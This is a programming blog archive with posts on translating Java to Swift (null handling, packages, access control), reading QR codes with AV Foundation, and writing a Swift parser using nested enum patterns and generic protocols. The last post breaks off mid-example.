Just An Application

November 17, 2016

Java To Swift: Much Ado About Null

Filed under: Java, Java2Swift, Swift — Tags: , , — Simon Lewis @ 12:09 pm

The Java literal null is the only value of the null type.

The null type is anonymous, that is to say, there is no way to refer to it in a Java program so it is not possible to declare anything to be of type null.

But not to worry, although nothing can be declared to be of type null, any field, local variable or parameter which is a reference, that is to say, whose type is declared to be an array, class or interface, can have the value null.

The following code shows the things that can be done with a reference in Java

    package xper.nullexample;

    public class Cod 
    {
	public void swim()
	{
	    // TODO
	}
	
	public int numberOfFins;
    }

    public class XperNullExampleMain 
    {
	public static void main(String[] args)
	{
	    test((Cod)null);
	}
	
	private static void test(Cod fish)
	{
	    if (fish != null)
	    {
	        System.out.println("fish is not null");
	    }
	    else
	    {
		System.out.println("fish is null");
	    }
	    if (fish == null)
	    {
		System.out.println("fish is still null");
	    }
	    else
	    {
		System.out.println("fish is not null !");
	    }
	    if (fish instanceof Cod)
	    {
		System.out.println("fish is an instanceof Cod");
	    }
	    else
	    {
		System.out.println("fish is not an instanceof Cod");
	    }
		
	    System.out.println(fish + " concatenated with string");

	    try
	    {
		System.out.format("fish has %d fins\n", fish.numberOfFins);
	    }
	    catch (NullPointerException npe)
	    {
		System.out.println("Caught NPE when accessing numberOfFins field");
	    }
	    try
	    {
		fish.swim();
		System.out.println("fish is swimming");
	    }
	    catch (NullPointerException npe)
	    {
		System.out.println("Caught NPE when invoking swim method");
	    }
        }
    }	

They are

  • field access
  • method invocation
  • string concatenation
  • casting
  • comparison using == and !=
  • type checking using instanceof

As the example also shows, if you run it, all but two of these work even when the reference is null

The two that do not work are

  • field access

and

  • method invocation

Attempting to use a reference with the value null to access a field or invoke a method or will result in a NullPointerException (NPE).

There is no null in Swift.

The nearest thing is nil but in some respects nil is the anti-null.

In Java the field declaration

    private java.lang.Character c;

means that c can be a reference to an object of type java.lang.Character or null.

In Swift the declaration

    private c : java_lang_Character

means that c cannot be nil.

So whereas in Java the default is that c can be null, in Swift the default is that c cannot be nil.

In Swift an ‘equivalent’ to the Java declaration would be

    private c : java_lang_Character?

The property c must be explicitly declared optional.

To invoke a method on c in Java we can simply do

    c.compareTo(d)

and if c has the value null we get an NPE.

There are two ways of doing the same thing in Swift.

Either

    c?.compareTo(d)

or

    c!.compareTo(d)

The first is optional-chaining, the second is forced unwrapping.

Optional chaining results in the value nil if something in the chain is nil or an optional value of the same type as the last thing in the chain.

Optional chaining works by stopping the first time it encounters nil.

If c is nil in the first example then nothing happens. No attempt is made to invoke the compareTo method.

Forced unwrapping takes a more robust approach.

If c is not nil then the result is a value of type java_lang_Character. If c is nil then the program goes bang.

To preserve the runtime behaviour of Java in Swift when using nil as null is obviously going to require some additional effort.

This is the definition of the compareTo method for java.lang.Character

    public int compareTo(Character anotherCharacter) {
        return compare(this.value, anotherCharacter.value);
    }

The value field is defined like this

    private final char value;

and the compare method is defined like this

    public static int compare(char x, char y) {
        return x - y;
    }

Since anotherCharacter can legitimately be null in Java, the equivalent in Swift would have to be something like

    public func compareTo(anotherCharacter:java_lang_Character?)
    {
        return java_lang_Character.compare(self.value, anotherCharacter?.value)
    }

Assuming the compare method is defined something like this in Swift

    public func compare(x:JavaChar, y:JavaChar) -> Int
    {
        return x - y
    }

and the field value like this

 private let value : JavaChar

then compareTo won’t compile.

The result of the optional chaining on anotherChar is going to be an optional JavaChar

    JavaChar?

To make it compile it is necessary to unwrap anotherCharacter.

One way to do this is like so

    public func compareTo(anotherCharacter:java_lang_Character?)
    {
        return java_lang_Character.compare(self.value, anotherCharacter!.value)
    }

This now compiles but if anotherCharacter is nil then the program stops abruptly.

To preserve the Java runtime semantics it should throw a NullPointerException.

One way to achieve this by defining a ‘magic’ function which checks whether is something is nil, throws an NPE if it is, or returns the unwrapped value if it is not.

The signature needs to be something like this.

    func JRTEnsureNotNull(reference:R?) throws -> R

Assuming such a thing existed it would be possible to define the compareTo ‘method’ like this

    func compareTo(anotherCharacter:java_lang_Character?) throws
    {
        return java_lang_Character.compare(self.value, try JRTEnsureNotNull(anotherCharacter).value)
    }

Because the function JRTEnsureNotNull is declared to throw the call to it must be prefaced by try and since there is no attempt to catch whatever is thrown the ‘method’ itself must be declared to throw as well.

Clearly there is an overhead associated with doing this but the same overhead must exist in some form in the Java runtime since it can detect when a reference is null and throw a NullPointerException if necessary.

In addition, it should be possible in some circumstances to reduce this overhead during the conversion from Java to Swift by identifying when a reference has successfully been dereferenced and using it directly on subsequent occasions rather than checking it each time.

November 16, 2016

Java To Swift: Packages, Imports And Access Control

Filed under: Java, Java2Swift, Swift — Tags: , , — Simon Lewis @ 11:30 am

Packages

Java has packages and is in the process of acquiring modules.

Swift has modules.

It is tempting to map Java packages on to Swift modules but, amongst other things, that would leave the vexed of question of what to map Java modules on to when they eventually arrive.

Instead I’m going to go with a flat namespace for now.

Everything gets named explicitly using the package prefix, for example,

   java.lang.Boolean

becomes

   java_lang_Boolean

Imports

Swift has an import declaration which is pretty much to Swift modules as the Java import declaration is to Java packages but since I’m not using Swift modules to represent Java packages I don’t really have a use for it.

Rather more useful in this context is the typealias declaration, for example, declaring

   public typealias Object = java_lang_Object

means that I can write

    public final java_lang_Boolean: Object ... 

Not brilliant but its a start.

Given its uniquity being able to declare

   public typealias String = java_lang_String

would be handy but it collides with the Swift’s String so it can’t be done.

Access Control

Java has

  • public
  • protected
  • private

and the access control level with no name, aka package

Now the dust has settled Swift has

  • open
  • public
  • internal
  • fileprivate
  • private

Of these, the first three are module-relative so strictly speaking they are not relevant but public is at least familiar so I’ll use that.

The fileprivate level doesn’t correspond to anything in Java but may be useful for transformation generated artifacts.

Swift’s private which does correspond to Java’s private so I’ll use that as well.

That leaves Java’s protected and package without an equivalent so they will just have to be Swift internal for now.

November 13, 2016

Java To Swift: Thirty Three And A Third Things You Might Like To Know

Filed under: Java, Java2Swift, Swift — Tags: , , — Simon Lewis @ 8:26 pm

What ?

Its not my fault. Its an epidemic. Everybody’s doing it.

Consider yourselves lucky I didn’t go with

Java To Swift: You’ll Be Astonished By What Happens Next !

Anyway Java has classes and Swift has classes, so transforming Java source into Swift source should be trivial.

Probably an afternoon’s work, if that.

Well, maybe, but probably not.

Here is the result of running my first attempt at a tool for turning Java into Swift on Boolean.java.

import Foundation


public final class java_lang_Boolean: java_lang_Object
{
    public init(_ value:JavaBoolean)
    {
        self.value = value
        
    }
    
    public convenience init(_ s:java_lang_String?)
    {
        self.init(java_lang_Boolean.parseBoolean(s))
        
    }
    
    public static func parseBoolean(s:java_lang_String?) -> JavaBoolean
    {
        return s != nil && s!.equalsIgnoreCase(javaStringConstant("true"))
    }
    
    public func booleanValue() -> JavaBoolean
    {
        return value
    }
    
    public static func valueOf(b:JavaBoolean) -> java_lang_Boolean
    {
        return b ? TRUE : FALSE
    }
    
    public static func valueOf(s:java_lang_String?) -> java_lang_Boolean
    {
        return parseBoolean(s) ? TRUE : FALSE
    }
    
    public static func toString(b:JavaBoolean) -> java_lang_String
    {
        return b ? javaStringConstant("true") : javaStringConstant("false")
    }
    
    public func toString() -> java_lang_String
    {
        return value ? javaStringConstant("true") : javaStringConstant("false")
    }
    
    public func hashCode() -> JavaInt
    {
        return java_lang_Boolean.hashCode(value)
    }
    
    public static func hashCode(value:JavaBoolean) -> JavaInt
    {
        return value ? JavaInt(1231) : JavaInt(1237)
    }
    
    public func equals(obj:java_lang_Object?) -> JavaBoolean
    {
        if obj is java_lang_Boolean
        {
            return value == (obj as! java_lang_Boolean).booleanValue()
        }
        return false
    }
    
    public static func getBoolean(name:java_lang_String?) -> JavaBoolean
    {
        var result : JavaBoolean = false
        do
        {
            result = parseBoolean(java_lang_System.getProperty(name))
        }
        catch let e where e is java_lang_IllegalArgumentException || e is java_lang_NullPointerException
        {
        }
        return result
    }
    
    public func compareTo(b:java_lang_Boolean?) -> JavaInt
    {
        return java_lang_Boolean.compare(self.value, b!.value)
    }
    
    public static func compare(x:JavaBoolean, _ y:JavaBoolean) -> JavaInt
    {
        return x == y ? JavaInt(0) : x ? JavaInt(1) : JavaInt(-1)
    }
    
    public static func logicalAnd(a:JavaBoolean, _ b:JavaBoolean) -> JavaBoolean
    {
        return a && b
    }
    
    public static func logicalOr(a:JavaBoolean, _ b:JavaBoolean) -> JavaBoolean
    {
        return a || b
    }
    
    public static func logicalXor(a:JavaBoolean, _ b:JavaBoolean) -> JavaBoolean
    {
        return a ^ b
    }
    
    public static let TRUE : java_lang_Boolean = java_lang_Boolean( true)
    
    public static let FALSE : java_lang_Boolean = java_lang_Boolean(false)
    
    private let value : JavaBoolean
    
    private static let serialVersionUID : JavaLong = JavaLong(-3665804199014368530)
    
}

Pretty convincing don’t you think ?

It even compiles with a bit of judicious pushing and shoving.

But looks can be deceptive.

The class java.lang.Boolean isn’t a particularly Java’ry class as Java classes go so it is not really a very good test.

There are a number of ways in which Java and Swift are not at all alike, so it looks as though it is probably going to be more like two afternoon’s work.

November 15, 2015

Reading QR Codes using the iOS AV Foundation Framework: Prerequisites

Having discovered that one of my iOS applications just maybe needed to be able to read a QR code I was pleased to discover that from iOS 7.0 onwards it is possible to do so using the AV Foundation framework.

There was little bit of trial and error involved in working out how to do set up but after that it “just worked” as they say

1.0 A Session

The first thing we need is a session

    let session = AVCaptureSession()

2.0 An Input

An AVCaptureSession needs an input, an instance of AVCaptureInput, from which to capture things.

In our case we need the input from a camera which, in the context of the AV Foundation framework, is a kind of AVCaptureDevice associaed with the media type

    AVMediaTypeVideo

We can obtain the default device for capturing a given media type by calling the AVCaptureDevice method

    class func defaultDeviceWithMediaType(_ mediaType: String!) -> AVCaptureDevice!

or, alternatively, all the devices capable of capturing a given media type by calling the AVCaptureDevice method

    class func devicesWithMediaType(_ mediaType: String!) -> [AnyObject]!

Using the first method we can do

    ...
    
    if let device = AVCaptureDevice.defaultDeviceWithMediaType(AVMediaTypeVideo)
    {
       ...
    }

    ...

On an iPad or an iPhone running iOS 9.0 this returns the ‘back camera’.

If we want to ensure that we get the ‘back camera’, rather than just hoping we do, we can do

    ...
    
    if let objects = AVCaptureDevice.devicesWithMediaType(AVMediaTypeVideo)
    {
        for device in objects
        {
            if device.position == .Back
            {
                ...
            }
        }
    }
    
    ...

Once we have our desired device we can contruct an instance of AVCaptureDeviceInput which is a sub-class of AVCaptureInput

    let input = try AVCaptureDeviceInput(device:device)

amd then add it to the session

    session.addInput(input)

3,0 An Output

To identify the QR code(s) if any, in the input from the camera we need an instance of the class AVCaptureMetadataOutput.

    let output = AVCaptureMetadataOutput()

We can then add this to the session as an output.

    session.addOutput(output)

An AVCaptureMetadataOutput object is capable of recognizing more than just QR codes.

To find out exactly what we can access the availableMetadataObjectTypes property.

On an iPad running iOS 9.0 the following code

    ...
    
    for o in output.availableMetadataObjectTypes
    {
        print(o)
    }
    
    ...

produces this output

    ...

    org.iso.Aztec
    org.iso.Code128
    org.iso.Code39
    org.iso.Code39Mod43
    com.intermec.Code93
    org.iso.DataMatrix
    org.gs1.EAN-13
    org.gs1.EAN-8
    org.ansi.Interleaved2of5
    org.gs1.ITF14
    org.iso.PDF417
    org.iso.QRCode
    org.gs1.UPC-E
    face
    
    ...

and on an iPhone running iOS 9.0 this output

    ...

    face
    org.iso.Aztec
    org.iso.Code128
    org.iso.Code39
    org.iso.Code39Mod43
    com.intermec.Code93
    org.iso.DataMatrix
    org.gs1.EAN-13
    org.gs1.EAN-8
    org.ansi.Interleaved2of5
    org.gs1.ITF14
    org.iso.PDF417
    org.iso.QRCode
    org.gs1.UPC-E

    ...

To specify that we are only interested in QR codes we can set the metadataObjectTypes property.

    output.metadataObjectTypes = [AVMetadataObjectTypeQRCode]

Note

In the AVCaptureMetadataOutput case the order in which the input and output are added is significant.

If it is added before the camera input then the availableMetadataTypes property is simply an empty array and attempting to set the metadataTypes property will result in an NSInvalidArgumentException being thrown.

4.0 A Delegate

An AVCaptureMetadataOutput object passes metadata objects obtained from the input to a delegate which is required to implement the AVCaptureMetadataOutputObjectsDelegate protocol.

The AVCaptureMetadataOutputObjectsDelegate protocol defines a single method

    optional func captureOutput(
                      _
                          captureOutput:
                              AVCaptureOutput!,
                      didOutputMetadataObjects
                          metadataObjects:
                              [AnyObject]!,
                      fromConnection
                          connection:
                              AVCaptureConnection!)

Each element of the array passed as the metadataObjects argument is an instance of a sub-class of the class AVMetadataObect.

In the case of a QR code the element will be an instance of the class AVMetadataMachineReadableCodeObject.

The value of the stringValue property of an instance of AVMetadataMachineReadableCodeObject is a human readable version of, in this case, the QR code.

    func captureOutput(
             captureOutput:
                 AVCaptureOutput!,
             didOutputMetadataObjects
                 metadataObjects: [AnyObject]!,
             fromConnection
                 connection:
                    AVCaptureConnection!)
    {
        for metadataObject in metadataObjects
        {
            if metadataObject.type == AVMetadataObjectTypeQRCode
            {
                let value = metadataObject.stringValue
                
                ...
            }
        }
    }

The delegate for an AVCaptureMetadataOutput object can be set using the method

    public func setMetadataObjectsDelegate(
                    objectsDelegate:
                        AVCaptureMetadataOutputObjectsDelegate!,
                    queue
                        objectsCallbackQueue:
                            dispatch_queue_t!)

The queue argument specifies the dispatch queue on which the delegate's method will be invoked.


Copyright (c) 2015 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog's author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

September 10, 2015

Swift Miscellany: Too Many Switches — The Case Of The Nested Enums

At the lexical level Swift code comprises five token types

  • identifiers

  • keywords

  • literals

  • operators

  • punctuation

seperated by whitespace, so a Swift token can be represented quite nicely by an enum.

    enum Token
    {
        case IDENTIFIER
        case KEYWORD
        case LITERAL
        case OPERATOR
        case PUNCTUATION
    }

The token type on its own is not use much use.

In each case we also need the associated value which, because its Swift, we can store in the enum as well.

    enum Token
    {
        case IDENTIFIER(Identifier)
        case KEYWORD(Keyword)
        case LITERAL(Literal)
        case OPERATOR(Operator)
        case PUNCTUATION(Punctuation)
    }

The types of the associated values are also best represented as enums, for example,

    enum Keyword: String
    {
        case AS             = "as"
        case ASSOCIATIVITY  = "associativity"
    
        case BREAK          = "break"
    
        case CASE           = "case"
        case CATCH          = "catch"
        case CLASS          = "class"
        case CONTINUE       = "continue"
        case CONVENIENCE    = "convenience"
    
        ...
    
        case WEAK           = "weak"
        case WHERE          = "where"
        case WHILE          = "while"
        case WILL_SET       = "willSet"
    }
    enum Punctuation: String
    {
        case AMPERSAND              = "&"
        case ARROW                  = "->"
        case AT                     = "@"
    
        case COLON                  = ":"
        case COMMA                  = ","
    
        case DOT                    = "."
    
        ...
        
        case LEFT_PAREN             = "("
        case RIGHT_PAREN            = ")"
    }

Now we have a 'nested enum' which is all very interesting but how do you use it ?

Parsing A Swift Pattern

This is the Swift grammar for a pattern

    patternwildcard-pattern type-annotationopt 
    patternidentifier-pattern type-annotationopt 
    patternvalue-binding-pattern 
    patterntuple-pattern type-annotationopt 
    patternenum-case-pattern 
    patternoptional-pattern 
    patterntype-casting-pattern 
    patternexpression-pattern 

and these are the grammars for the various types of pattern

    wildcard-pattern_ 
    identifier-patternidentifier 
    value-binding-patternvar pattern | let pattern 
    tuple-pattern( tuple-pattern-element-listopt ) 
    enum-case-patterntype-identifieropt . enum-case-name tuple-patternopt 
    optional-patternidentifier-pattern ?
    type-casting-patternis-pattern | as-pattern
    is-patternis type 
    as-patternpattern  as type 
    expression-patternexpression

A pattern can start with an indentifier, a keyword, punctuation, or anything an expression can start with which adds operators so we now have a full-house.

To parse a pattern given a token we need to identify the token type and then for each type identify whether it can start a pattern.

To identify the token type given the enum token representation above we can use a switch.

    func parse() throws -> Pattern
    {
        let pattern : Pattern
    
        switch peek()
        {
            case .IDENTIFIER:
    
                pattern = ????
    
            case .KEYWORD:
    
                pattern = ????
    
            case .PUNCTUATION:
    
                pattern = ????
    
            default:
    
                pattern = try expression()
        }
        return pattern
    }

That won't work as is because in the keyword or punctuation case we need to know what the actual keyword or punctuation is.

We can fix this by binding the associated values in those cases.

    func parse() throws -> Pattern
    {
        let pattern : Pattern
    
        switch peek()
        {
            case let .IDENTIFIER:
    
                pattern = ????
    
            case let .KEYWORD(keyword):
    
                pattern = ????
    
            case let .PUNCTUATION(punctuation):
    
                pattern = ????
    
            default:
    
                pattern = try expression()
        }
        return pattern
    }

Now we can see whether we have the 'right kind' of keyword or punctuation.

In case case we have another enum so we can use a switch.

    func parse() throws -> Pattern
    {
        let pattern : Pattern
    
        switch peek()
        {
            case .IDENTIFIER:
    
                pattern = ????
    
            case let .KEYWORD(keyword):
    
                switch keyword
                {
                    case .IS:
    
                        pattern = try isPattern()
    
                    case .LET:
    
                        pattern = try valueBindingPattern()
                        
                    case .UNDERSCORE:
                    
                        pattern = try wilcardPattern()
    
                    case .VAR:
    
                        pattern = try valueBindingPattern()
    
                    default:
    
                        pattern = try expression()
                }
    
            case let .PUNCTUATION(punctuation):
    
                switch punctuation
                {
                    case .DOT:
    
                        pattern = try enumCasePattern()
    
                    case .LEFT_PAREN:
    
                        pattern = try tuplePattern()
    
                    default:
    
                        pattern = try expression()
                }
    
            default:
    
                pattern = try expression()
        }
        return pattern
    }

Now we've got a bit of a mess really. Lets just hope they don't add any more pattern types. Maybe nested enums are not such a great idea after all.

In fact nested enums are a perfectly fine idea. The reason its a bit of a mess is the nested switches, but nested enums do not require nested switches. We, in this case I, have simply been doing it wrong.

A Closer Look At Patterns

Of the eight patterns in the grammar shown above, the switch in the last version of the method uses two

The case

    case .IDENTIFIER:

uses the simplest form of an enum-case-pattern

    . enum-case-name

The other two cases

    case let .KEYWORD(keyword):

and

    case let .PUNCTUATION(punctuation):

use the let form of a value-binding-pattern.

A value-binding-pattern is simply a pattern prefixed by either of the keywords let or var.

The prefixed pattern in each case is another example of an enum-case-pattern.

This time the optional tuple-pattern suffix element is present.

A tuple-pattern is a tuple-pattern-element-list delimited by parentheses.

This is the grammar for a tuple-pattern-element-list

    tuple-pattern-element-listtuple-pattern-element | tuple-pattern-element , tuple-pattern-element-list
    tuple-pattern-elementpattern

A tuple-pattern is a parentheses delimited list of comma separated patterns.

In the two cases above there is only one pattern in the list and that is an identifier-pattern.

According to the grammar there can be any number of patterns and the patterns are not limited to identifier-patterns.

At this point it is worth mentioning that the grammar as given in the Swift language reference is not always entirely accurate.

In the case of a value-binding-pattern it would imply that you could write this

    case let let .KEYWORD(keyword):

which you cannot.

Nor can you write this

    case let .KEYWORD(let keyword):

although you can write

    case .KEYWORD(let keyword):

In short, value-binding-patterns are not recursive whatever the grammar might say.

On the other hand, enum-case-patterns are recursive which means that you can write this

    case .KEYWORD(.IS):

which means that the method above can be rewritten more succinctly like so

    func parse() throws -> Pattern
    {
        let pattern : Pattern
    
        switch peek()
        {
            case .IDENTIFIER:
    
                pattern = try identifierOrEnum()
    
            case .KEYWORD(.IS):
    
                pattern = try isPattern()
    
            case .KEYWORD(.LET):
    
                pattern = try valueBindingPattern(.LET)
    
            case .KEYWORD(.UNDERSCORE):
    
                pattern = try wildcardPattern()
    
            case .KEYWORD(.VAR):
    
                pattern = try valueBindingPattern(.VAR)
    
            case .PUNCTUATION(.DOT):
    
                pattern = try enumCasePattern()
    
            case .PUNCTUATION(.LEFT_PAREN):
    
                pattern = try tuplePattern()
    
            default: // expression
    
                pattern = try expression()
        }
        if peek(.AS)
        {
            return try asPattern(pattern)
        }
        else
        {
            return pattern
        }
    }

There is no need for nested switches because we can use nested patterns instead.


Copyright (c) 2015 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog's author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

September 9, 2015

Swift Miscellany: Keywords, Reserved And Escaped

There are a fair few keywords in Swift 2.0, I think we’re up to around about seventy-five at the moment, but it wasn’t until I started rummaging around in the grammar that I discovered that some of them are context senstive.

The context sensitive keywords are those which are used in only one specific context and most of the declaration modifiers

Infix Operator Declaration

  • associativity

  • left

  • none

  • precedence

  • right

are reserved keywords in the context of an infix-operator-declaration.

    infix-operator-declaration infix operator operator { infix-operator-attributesopt }
    infix-operator-attributes precedence-clauseopt associativity-clauseopt
    precedence-clause precedence precedence-level
    associativity-clause associativity associativity
    associativity left | right | none

Computed Properties/Variables

  • get

and

  • set

are reserved keywords in the context of a computed property/variable declaration.

    variable-declarationvariable-declaration-head variable-name type-annotation getter-setter-block
    getter-setter-block{ getter-clause setter-clauseopt }
    getter-setter-block{ setter-clause getter-clause }
    getter-clauseattributesopt get code-block
    setter-clauseattributesopt set setter-nameopt code-block

Property/Variable Observers

  • didSet

and

  • willSet

are keywords in the context of a stored variable observer declaration or a property observer declaration

    variable-declarationvariable-declaration-head variable-name initializer willSet-didSet-block
    variable-declarationvariable-declaration-head variable-name type-annotation initializeropt willSet-didSet-block
    willSet-didSet-block{ willSet-clause didSet-clauseopt }
    willSet-didSet-block{ didSet-clause willSet-clauseopt }
    willSet-clauseattributesopt willSet setter-nameopt code-block
    didSet-clauseattributesopt didSet setter-nameopt code-block

Metatype Type

  • Protocol

and

  • Type

are keywords in the context of a metatype-type

    metatype-typetype  . Type | type  . Protocol 

Declaration Modifiers

  • convenience

  • dynamic

  • final

  • infix

  • indirect

  • lazy

  • mutating

  • nonmutating

  • optional

  • override

  • postfix

  • prefix

  • required

  • unowned

  • weak

are reserved keywords when they appear before a declaration.

When not being used in their specific contexts reserved keywords can moonlight as identifiers which means that you can, if you want to, do this

    ...
    
    private var final    = true
    private var left     = true
    private var optional = true
    private var override = false
    private var required = true
    private var right    = false
    private var set      = true
    private var unowned  = true
    private var weak     = false
    
    ...

or this

    enum associativity
    {
        case left
        case right
        case none
    }

or even this

    func infix()
    {
    
    }

Escaped Keywords

If your favourite identifier is a non-reserved Swift keyword there is still hope.

Any Swift keyword can be used as an identifier if it is escaped, so if you have always wanted a class called class

    class `class`
    {
    
    }

or a global variable called self

    var `self` = `class`()

you can have one.

The escape character is the grave accent/backtick/backquote character (`) ASCII 96/0x60.


Copyright (c) 2015 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

Swift Miscellany: More Parsing With Generics And Protocols

Having stumbled upon my new, at least to me, idiom I was curious whether it could be used as the basis for a complete parser.

The answer seems to be yes.

With a handful of protocols and generic methods it is possible to write a basic parser for Swift which is at least capable of parsing itself.

Protocols

Parsable

    protocol Parsable
    {
        typealias ParserType: ElementParser

        static var parserType: ParserType.Type { get }
    }
    protocol ElementParser
    {
        typealias ElementType
    
        init(context:ParserContext, tokens:TokenStream)
    
        func parse() throws -> ElementType
    }

A type is parsable if it has an associated ElementParser type

Element

    protocol Element: Parsable
    {
    }

An Element is a non-terminal which appears exactly once in a grammar production.

A condition-clause is an example of an Element.

It appears exactly once, for example, in a guard-statement

    guard-statement -> guard condition-clause else code-block

or a while-statement

    while-statement -> while condition-clause code-block

OptionalElement

    protocol OptionalElement
    {
        typealias ParserType: OptionalElementParser
    
        static var parserType: ParserType.Type { get }
    }
    protocol OptionalElementParser: ElementParser
    {
        func elementIsPresent() -> Bool
    }

An OptionalElement is a non-terminal which may appear exactly once or not at all in a grammar production.

A generic-parameter-clause

    generic-parameter-clause< generic-parameter-list requirement-clauseopt >

and a type-inheritance-clause

    type-inheritance-clause: class-requirement , type-inheritance-list
    
    type-inheritance-clause: class-requirement
    
    type-inheritance-clause: type-inheritance-list

are both examples of an OptionalElement.

They may both appear, or not appear, in a class-declaration

    class-declarationattributesopt access-level-modifieropt class class-name generic-parameter-clauseopt type-inheritance-clauseopt class-body

an enum-declaration

    enum-declarationattributesopt access-level-modifieropt union-style-enum
    enum-declarationattributesopt access-level-modifieropt raw-value-style-enum
    union-style-enumindirectopt enum enum-name generic-parameter-clauseopt type-inheritance-clauseopt { union-style-enum-membersopt }
    raw-value-style-enumenum enum-name generic-parameter-clauseopt type-inheritance-clauseopt { raw-value-style-enum-members }

or a struct-declaration

    struct-declarationattributesopt access-level-modifieropt struct class-name generic-parameter-clauseopt type-inheritance-clauseopt struct-body

A generic-parameter-clause may also appear, or not appear, in a function-declaration

    function-declarationfunction-head function-name generic-parameter-clauseopt function-signature function-bodyopt 

or an initializer declaration

    initializer-declarationinitializer-head generic-parameter-clauseopt parameter-clause throwsopt initializer-body 
    initializer-declarationinitializer-head generic-parameter-clauseopt parameter-clause rethrows initializer-body 

A type-inheritance-clause may also appear in an extension-declaration

    extension-declarationaccess-level-modifieropt extension type-identifier type-inheritance-clauseopt extension-body 

A type-annotation is a third example of an OptionalElement

    type-annotation: attributesopt type 

A type-annotation is optional in a constant declaration or a variable declaration, but it is required in a parameter, so the type TypeAnnotation is declared as both an Element and an OptionalElement.

    extension TypeAnnotation: Element, OptionalElement
    {
        static let parserType = TypeAnnotationParser.self
    }

RepeatableElement

    protocol RepeatableElement: Parsable
    {
    }

A RepeatableElement is a non-terminal which can appear one or more times in a grammar production. If it appears more than once then there is a separator between each occurence.

A condition is an example of a RepeatableElement.

    conditionavailability-condition | case-condition | optional-binding-condition 

It can appear one or more times in a condition-list.

    condition-listcondition | condition , condition-list

If there are multiple occurences then they are separated by commas

BlockElement

    protocol BlockElement: Parsable
    {
    }

A BlockElement is a non-terminal that can appear zero or more times in a grammer production, delimited by left and right braces and with no separators.

A statement is a BlockElement.

Zero or more statements can appear in a code-block

    statementsstatement statementsopt
    code-block{ statementsopt }

A declaration is also a BlockElement.

Zero or more declarations can appear in the body of a class or struct declaration

    declarationsdeclaration declarationsopt
    class-body{ declarationsopt }
    struct-body{ declarationsopt }

Both declarations and statements are also Elements since they can appear outside blocks.

Statements, for example, can appear in a switch-case

Declarations can appear anywhere in an enum-declaration.

The Declaration and Statement types are therefore declared to implement both the BlockElement and the Element protocols.

    extension Declaration: BlockElement, Element
    {
        static let parserType = DeclarationParser.self
    }
    extension Statement: BlockElement, Element
    {
        static let parserType = StatementParser.self
    }

Generic Methods

The following methods are defined on the class Parser which is the base class for the various element parsers.

element<E:Element … >

    final func element<E:Element where E.ParserType.ElementType == E>(eType:E.Type) throws -> E
    {
        let parser = eType.parserType.init(context:context, tokens: tokens)
    
        return try parser.parse()
    }

The element method takes a type which implements the Element protocol and returns an instance of that type.

optional<O:OptionalElement … >

    final func optional<O:OptionalElement where O.ParserType.ElementType == O>(oType:O.Type) throws -> O?
    {
        let parser = oType.parserType.init(context:context, tokens: tokens)
    
        if parser.elementIsPresent()
        {
            return try parser.parse()
        }
        else
        {
            return nil
        }
    }

The optional method takes a type which implements the OptionalElement protocol and returns an instance of that type or nil if the element is not present.

elements<R:RepeatableElement …>

     final func elements
        <
            R:RepeatableElement where R.ParserType.ElementType == R
        >
        (rType:R.Type, _ separator:Punctuation = .COMMA) throws -> [R]
        {
            let parser   = rType.parserType.init(context:context, tokens: tokens)
            var elements = [try parser.parse()]
        
            while peek(separator)
            {
                assertNext(separator)
                elements.append(try parser.parse())
            }
            return elements
        }

The elements method takes a type which implements the RepeatableElement protocol and returns an array of one or more instances of that type.

The method takes a second argument which specifies the separator.

By default the separator is defined to be a comma, but specifying a dot instead means it is also possible to use the method to parse, for example, an import-path

    import-pathimport-path-identifier | import-path-identifier . import-path 

or a type-identifier

    type-identifiertype-name generic-argument-clauseopt| type-name generic-argument-clauseopt. type-identifier 

elements<O:OptionalElement …>

    final func elements<O:OptionalElement where O.ParserType.ElementType == O>(oType:O.Type) throws -> [O]?
    {
        let parser = oType.parserType.init(context:context, tokens: tokens)
    
        if parser.elementIsPresent()
        {
            var elements = [O]()
    
            while parser.elementIsPresent()
            {
                elements.append(try parser.parse())
            }
            return elements
        }
        else
        {
            return nil
        }
    }

The elements method takes a type which implements the OptionalElement protocol and returns an array of one or more instances of that type or nil.

block<B:BlockElement …>

    final func block<B:BlockElement where B.ParserType.ElementType == B>(bType:B.Type) throws -> [B]
    {
        try next(.LEFT_BRACE)
    
        let parser   = bType.parserType.init(context:context, tokens: tokens)
        var elements = [B]()
    
        while !peek(.RIGHT_BRACE)
        {
            elements.append(try parser.parse())
        }
        assertNext(.RIGHT_BRACE)
        return elements
    }

The block method takes a type which implements the BlockElement protocol and returns an array of zero or more instances of that type or nil.

Examples

Class Declaration

    final class ClassDeclarationParser: Parser
    {
        func parse() throws -> Class
        {
            assertNext(.CLASS)
    
            let name  = try identifier()
            let gpc   = try optional(GenericParameterClause.self)
            let tic   = try optional(TypeInheritanceClause.self)
    
            pushContext(DeclarationContext())
    
            let decls = try block(Declaration.self)
    
            popContext()
    
            if gpc == nil
            {
                return .CLASS(name, tic, decls)
            }
            else
            {
                return .GENERIC_CLASS(name, gpc!, tic, decls)
            }
        }
    }

Extension Declaration

    final class ExtensionDeclarationParser: Parser
    {
        func parse() throws -> Extension
        {
            assertNext(.EXTENSION)
    
            let typeIdentifier  = try element(TypeIdentifier.self)
            let typeInheritance = try optional(TypeInheritanceClause.self)
            let body            = try block(Declaration.self)
    
            return
                Extension(
                    typeId:
                        typeIdentifier,
                    typeInheritance:
                        typeInheritance,
                    declarations:
                        body)
        }
    }

This method would be even simpler if Swift guarantees that arguments are evaluated left-to-right but I’ve not been able to find anything to that effect as yet.

Guard Statement

    final class GuardStatementParser: Parser
    {
        func parse() throws -> Guard
        {
            assertNext(.GUARD)
    
            let condition = try element(ConditionClause.self)
    
            try next(.ELSE)
    
            let codeBlock = try block(Statement.self)
    
            return Guard(condition: condition, codeBlock:codeBlock)
        }
    }

While Statement

    final class WhileStatementParser: Parser
    {
        func parse() throws -> While
        {
            assertNext(.WHILE)
    
